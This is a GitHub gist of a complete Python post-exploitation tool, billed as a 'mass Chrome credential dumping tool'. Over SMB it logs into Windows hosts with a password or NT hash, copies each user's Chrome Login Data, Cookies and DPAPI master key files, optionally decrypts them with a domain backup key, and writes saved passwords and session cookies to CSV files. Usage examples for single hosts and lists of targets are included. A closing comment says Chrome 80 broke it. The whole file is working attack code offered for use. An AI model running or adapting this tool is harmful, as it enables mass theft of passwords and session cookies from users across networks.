Last active
February 8, 2021 10:22
-
-
Save 3xocyte/8f22648c6d416cf674b88c410c10e79b to your computer and use it in GitHub Desktop.
agentless Google Chrome post-exploitation script
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# by Matt Bush (@3xocyte) | |
import os | |
import sys | |
import logging | |
import argparse | |
import traceback | |
import time | |
import sqlite3 | |
import binascii | |
import csv | |
import datetime | |
from Cryptodome.Cipher import AES, PKCS1_v1_5 | |
from Cryptodome.Hash import HMAC, SHA1, MD4 | |
from impacket.examples import logger | |
from impacket import version | |
from impacket.smbconnection import SMBConnection | |
from impacket.uuid import bin_to_string | |
from hashlib import pbkdf2_hmac | |
from impacket.dpapi import MasterKeyFile, MasterKey, DomainKey, DPAPI_BLOB, PRIVATE_KEY_BLOB, DPAPI_DOMAIN_RSA_MASTER_KEY, PVK_FILE_HDR, privatekeyblob_to_pkcs1 | |
logger.init() | |
# https://github.com/SecureAuthCorp/impacket/blob/master/examples/dpapi.py | |
def derive_keys(sid, password, is_hash = False, sha1 = None): | |
# Will generate two keys, one with SHA1 and another with MD4 | |
logging.debug("deriving keys") | |
if is_hash == True: | |
if sha1 is not None: | |
key1 = HMAC.new(binascii.unhexlify(sha1), (sid + '\0').encode('utf-16le'), SHA1).digest() | |
logging.debug("deriving key from sha1 key: %s" % sha1) | |
logging.debug("key1 derived from sha1 key: %s" % binascii.hexlify(key1)) | |
else: | |
logging.debug("no SHA1 key provided") | |
key1 = b'' | |
key2 = HMAC.new(binascii.unhexlify(password), (sid + '\0').encode('utf-16le'), SHA1).digest() | |
logging.debug("key2: %s" % binascii.hexlify(key2)) | |
tmpKey = pbkdf2_hmac('sha256', binascii.unhexlify(password), sid.encode('utf-16le'), 10000) | |
tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16] | |
else: | |
key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() | |
logging.debug("key1: %s" % binascii.hexlify(key1)) | |
key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() | |
logging.debug("key2: %s" % binascii.hexlify(key2)) | |
# logging.debug("key1 derived from sha1 key: %s" % binascii.hexlify(key1)) | |
# For Protected users | |
tmpKey = pbkdf2_hmac('sha256', MD4.new(password.encode('utf-16le')).digest(), sid.encode('utf-16le'), 10000) | |
tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16] | |
key3 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20] | |
logging.debug("key3: %s" % binascii.hexlify(key3)) | |
return key1, key2, key3 | |
# https://github.com/SecureAuthCorp/impacket/blob/master/examples/dpapi.py | |
def decrypt_masterkey(sid, password, masterkeyfile, is_hash = False, sha1 = None): | |
dpapiSystem = {} | |
fp = open(masterkeyfile, 'rb') | |
data = fp.read() | |
mkf= MasterKeyFile(data) | |
data = data[len(mkf):] | |
fp.close() | |
if mkf['MasterKeyLen'] > 0: | |
mk = MasterKey(data[:mkf['MasterKeyLen']]) | |
data = data[len(mk):] | |
key1, key2, key3 = derive_keys(sid, password, is_hash = is_hash, sha1 = sha1) | |
decryptedKey = mk.decrypt(key3) | |
if decryptedKey: | |
logging.debug("using key3") | |
return decryptedKey | |
decryptedKey = mk.decrypt(key2) | |
if decryptedKey: | |
logging.debug("using key2") | |
return decryptedKey | |
decryptedKey = mk.decrypt(key1) | |
if decryptedKey: | |
logging.debug("using key1") | |
return decryptedKey | |
logging.error("unable to decrypt masterkey") | |
# https://github.com/SecureAuthCorp/impacket/blob/master/examples/dpapi.py | |
def decrypt_with_domainkey(domainkeyfile, masterkey, user): | |
fp = open(masterkey, 'rb') | |
data = fp.read() | |
mkf= MasterKeyFile(data) | |
data = data[len(mkf):] | |
if mkf['MasterKeyLen'] > 0: | |
mk = MasterKey(data[:mkf['MasterKeyLen']]) | |
data = data[len(mk):] | |
if mkf['BackupKeyLen'] > 0: | |
bkmk = MasterKey(data[:mkf['BackupKeyLen']]) | |
data = data[len(bkmk):] | |
if mkf['CredHistLen'] > 0: | |
ch = CredHist(data[:mkf['CredHistLen']]) | |
data = data[len(ch):] | |
if mkf['DomainKeyLen'] > 0: | |
dk = DomainKey(data[:mkf['DomainKeyLen']]) | |
data = data[len(dk):] | |
pvkfile = open(domainkeyfile, 'rb').read() | |
key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):]) | |
private = privatekeyblob_to_pkcs1(key) | |
cipher = PKCS1_v1_5.new(private) | |
decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None) | |
if decryptedKey: | |
domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decryptedKey) | |
key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']] | |
logging.debug('decrypted key for user %s: 0x%s' % (user, binascii.hexlify(key).decode('latin-1'))) | |
fp.close() | |
return key | |
def get_login_data_file(share, smb_client, username): | |
login_data_location = "users\\" + username + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" | |
db_filename = username + "_logins.bin" | |
fh = open(db_filename,'wb') | |
try: | |
smb_client.getFile(share, login_data_location, fh.write, 0x03) # SMB_ACCESS_EXEC bypasses the read lock if Chrome is open | |
logging.debug("got Chrome Login Data file (%s)" % db_filename) | |
fh.close() | |
return db_filename | |
except: | |
fh.close() | |
os.remove(db_filename) | |
logging.debug("didn't get %s" % login_data_location) | |
return None | |
def get_cookie_file(share, smb_client, username): | |
cookie_data_location = "users\\" + username + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" | |
db_filename = username + "_cookies.bin" | |
fh = open(db_filename,'wb') | |
try: | |
smb_client.getFile(share, cookie_data_location, fh.write, 0x03) # SMB_ACCESS_EXEC bypasses the read lock if Chrome is open | |
logging.debug("got Chrome Cookies file (%s)" % db_filename) | |
fh.close() | |
return db_filename | |
except: | |
fh.close() | |
os.remove(db_filename) | |
logging.debug("didn't get %s" % login_data_location) | |
return None | |
def get_user_sid(smb_client, share, username): | |
sid_dir_location = "users\\" + username + "\\AppData\\Roaming\\Microsoft\\Protect\\*" | |
user_sid = '' | |
try: | |
for f in smb_client.listPath(share, sid_dir_location): | |
fname = f.get_longname() | |
if "S-" in fname: | |
user_sid = fname | |
logging.debug("found user sid: %s" % user_sid) | |
break | |
if user_sid == '': | |
logging.debug("failed to find user sid") | |
return '' | |
else: | |
logging.debug("got sid for user %s: %s" % (username, user_sid)) | |
return user_sid | |
except Exception as e: | |
logging.debug("couldn't get user sid: %s" % e) | |
return '' | |
def get_masterkey_file(share, smb_client, username, guid, user_sid): | |
masterkeyfile_location = "users\\" + username + "\\AppData\\Roaming\\Microsoft\\Protect\\" + user_sid + "\\" + guid | |
logging.debug("master key file location: %s" % masterkeyfile_location) | |
fh = open(guid,'wb') | |
try: | |
smb_client.getFile(share, masterkeyfile_location, fh.write) | |
logging.debug("got master key file %s" % guid) | |
fh.close() | |
return True | |
except: | |
fh.close() | |
os.remove(guid) | |
logging.debug("didn't get %s" % masterkeyfile_location) | |
return False | |
def get_masterkeyfile_guid(database_filename): | |
try: | |
conn = sqlite3.connect(database_filename) | |
cursor = conn.cursor() | |
cursor.execute('SELECT password_value FROM logins') | |
data = cursor.fetchall() | |
password_blob = data[0][0] | |
blob = DPAPI_BLOB(password_blob) | |
conn.close() | |
return bin_to_string(blob["GuidMasterKey"]) | |
except: | |
return None | |
def read_creds(database_filename, key, user, target): | |
conn = sqlite3.connect(database_filename) | |
cursor = conn.cursor() | |
creds_fields = ['origin_url', 'action_url', 'username_element', 'username_value', 'password_element', 'password_value', 'date_created' ] | |
cursor.execute("SELECT %s FROM logins" % ",".join(creds_fields)) | |
data = cursor.fetchall() | |
if len(data) > 0: | |
creds_output_filename = target + "_" + user + "_creds.csv" | |
with open(creds_output_filename, 'w', newline='') as csvfile: | |
writer = csv.writer(csvfile) | |
writer.writerow(creds_fields) | |
for result in data: | |
result = list(result) | |
url = result[1] | |
username = result[3] | |
password_blob = result[5] | |
blob = DPAPI_BLOB(password_blob) | |
decrypted = blob.decrypt(key) | |
# "in-place" | |
result[5] = decrypted | |
print("[%s] %s\t%s\t%s\t%s" % (target, user, url, username, decrypted)) | |
result[6] = datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=result[6]) | |
writer.writerow(result) | |
conn.close() | |
def read_cookies(database_filename, key, user, target): | |
conn = sqlite3.connect(database_filename) | |
cursor = conn.cursor() | |
cookie_fields = ['creation_utc', 'host_key', 'name', 'value', 'path', 'expires_utc', 'last_access_utc', 'has_expires', 'priority', 'encrypted_value'] | |
cursor.execute("SELECT %s FROM cookies" % ",".join(cookie_fields)) | |
data = cursor.fetchall() | |
if len(data) > 0: | |
logging.debug("found %s cookies" % len(data)) | |
cookie_output_filename = target + "_" + user + "_cookies.csv" | |
with open(cookie_output_filename, 'w', newline='') as csvfile: | |
writer = csv.writer(csvfile) | |
# convert tuples to list for "in-place" changes | |
header = list(cookie_fields) | |
header[9] = 'decrypted_value' | |
writer.writerow(header) | |
for result in data: | |
result = list(result) | |
value_blob = result[9] | |
blob = DPAPI_BLOB(value_blob) | |
decrypted = blob.decrypt(key) | |
result[9] = decrypted | |
# Convert timestamps | |
result[0] = datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=result[0]) | |
result[5] = datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=result[5]) | |
result[6] = datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=result[6]) | |
writer.writerow(result) | |
conn.close() | |
def main(): | |
parser = argparse.ArgumentParser(add_help = True, description = "Mass Chrome credential dumping tool by @3xocyte") | |
parser.add_argument('-u', '--username', action="store", default='', help='valid username') | |
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name') | |
password_group = parser.add_mutually_exclusive_group() | |
password_group.add_argument('--nt', action="store", default='', help='user nt hash (instead of password)') | |
password_group.add_argument('-p', '--password', action="store", default='', help='valid password') | |
parser.add_argument('--sha1', action="store", default=None, help='user sha1 hash (optional, to use with PtH)') | |
parser.add_argument('--domain-key', help='domain backup private key file') #use dpapi.py or Mimikatz with correct FQDN specified to retrieve it | |
parser.add_argument('--target-file', action="store_true", default=False, help='target is a file full of targets') | |
parser.add_argument('--cookies', action="store_true", default=False, help='dump cookies to target_username_cookies.csv') | |
parser.add_argument('--debug', action="store_true", help='debug mode') | |
parser.add_argument('target', help='ip address or hostname of target (if --file is specified, a file containing one hostname/IP address per line)') | |
if len(sys.argv) == 1: | |
parser.print_help() | |
print("\nexamples: ") | |
print("\n\tdump creds and cookies for a given user from a single target") | |
print("\t./chromedump2.py -d <domain> -u <username> -p '<password>' --cookies 192.168.1.12") | |
print("\n\tdump creds and cookies for a given user from a single target using an NT hash and a SHA1 key") | |
print("\t./chromedump2.py -d <domain> -u <username> --nt <nt hash> --sha1 <sha1 key> --cookies 192.168.1.12") | |
print("\n\tdump creds and cookies from a list of targets using the domain backup key") | |
print("\t./chromedump2.py -d <domain> -u administrator -p '<password>' --domain-key 'backup.pvk' --target-file --cookies target_list\n") | |
sys.exit(1) | |
options = parser.parse_args() | |
if options.debug is True: | |
logging.getLogger().setLevel(logging.DEBUG) | |
else: | |
logging.getLogger().setLevel(logging.INFO) | |
domain = options.domain | |
username = options.username | |
password = options.password | |
pvk = options.domain_key | |
target_file = options.target_file | |
cookies = options.cookies | |
targets = [] | |
if options.nt: | |
nthash = options.nt | |
lmhash = '0' | |
is_hash = True | |
logging.info("using hash to login") | |
else: | |
nthash = '' | |
lmhash = '' | |
is_hash = False | |
if options.sha1: | |
sha1 = options.sha1 | |
else: | |
sha1 = None | |
if password == '' and nthash == '' and lmhash == '': | |
from getpass import getpass | |
password = getpass("password:") | |
# are we hitting a single target or a file of targets? | |
if target_file: | |
tf = open(options.target, "r") | |
target_list = tf.readlines() | |
tf.close | |
targets = list(map(str.strip,target_list)) | |
else: | |
targets = [options.target] | |
if pvk: | |
logging.info("domain backup key provided, dumping Login Data for all users on %s target(s)" % len(targets)) | |
for target in targets: | |
# do smb login | |
try: | |
smb_client = SMBConnection(target, target) | |
smb_client.login(username, password, domain, lmhash, nthash) | |
share = "C$" | |
smb_client.connectTree(share) | |
logging.info("connected to %s using provided credentials" % share) | |
except Exception as e: | |
logging.error("failed to connect to %s" % target) | |
logging.error(e) | |
continue | |
# getting all users from a machine | |
if pvk: | |
users = [] | |
# first list everything in c:\users, for our users | |
users_dir = "users\\*" | |
for u in smb_client.listPath(share, users_dir): | |
uname = u.get_longname() | |
if uname == "." or uname == "..": | |
pass | |
else: | |
if u.is_directory(): | |
users.append(uname) | |
logging.info("found %s users on %s, dumping available creds..." % (len(users), target)) | |
data_files = {} | |
for u in users: | |
logging.debug("getting database for %s" % u) | |
# get the chrome database, at a fixed location | |
data_filename = get_login_data_file(share, smb_client, u) | |
if data_filename: | |
data_files[u] = data_filename | |
logging.debug("got %d users' Login Data files" % len(data_files)) | |
# get the user's SID from their AppData directory | |
for user, value in data_files.items(): | |
user_sid = get_user_sid(smb_client, share, user) | |
user_guid = get_masterkeyfile_guid(value) | |
if user_guid: | |
logging.debug("user %s master key file is %s" % (user, user_guid)) | |
# get the user's SID from their AppData directory, used for the master key file path and to decrypt the key | |
if get_masterkey_file(share, smb_client, user, user_guid, user_sid): | |
key = decrypt_with_domainkey(pvk, user_guid, user) | |
read_creds(value, key, user, target) | |
# cookies... | |
if cookies: | |
cookie_filename = get_cookie_file(share, smb_client, user) | |
if cookie_filename: | |
read_cookies(cookie_filename, key, user, target) | |
else: | |
logging.debug("failed to get guid") | |
smb_client.close() | |
# get one user's creds | |
else: | |
logging.info("getting Chrome Login Data for %s from %s" % (username, target)) | |
# first get the chrome database | |
try: | |
data_filename = get_login_data_file(share, smb_client, username) | |
if data_filename: | |
logging.debug("got %s's Chrome Login Data file (%s)" % (username, data_filename)) | |
# get the user's SID from their AppData directory, used for the master key file path and to decrypt the key | |
sid = get_user_sid(smb_client, share, username) | |
user_guid = get_masterkeyfile_guid(data_filename) | |
if user_guid: | |
logging.debug("user %s master key file is %s" % (username, user_guid)) | |
if get_masterkey_file(share, smb_client, username, user_guid, sid): | |
if is_hash == True: | |
password = nthash | |
logging.debug("set 'password' to %s" % password) | |
key = decrypt_masterkey(sid, password, user_guid, is_hash = is_hash, sha1 = sha1) | |
if key is not None: | |
logging.debug('decrypted key for user %s: 0x%s' % (username, binascii.hexlify(key).decode('latin-1'))) | |
read_creds(data_filename, key, username, target) | |
# cookies... | |
if cookies: | |
cookie_filename = get_cookie_file(share, smb_client, username) | |
if cookie_filename: | |
read_cookies(cookie_filename, key, username, target) | |
else: | |
logging.info("failed to decrypt master key") | |
else: | |
logging.error("couldn't extract master key file GUID from the Login Data DB") | |
except Exception as e: | |
logging.error("general failure: %s" % e) | |
smb_client.close() | |
if __name__ == "__main__": | |
main() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This script was broken by the release of Chrome version 80.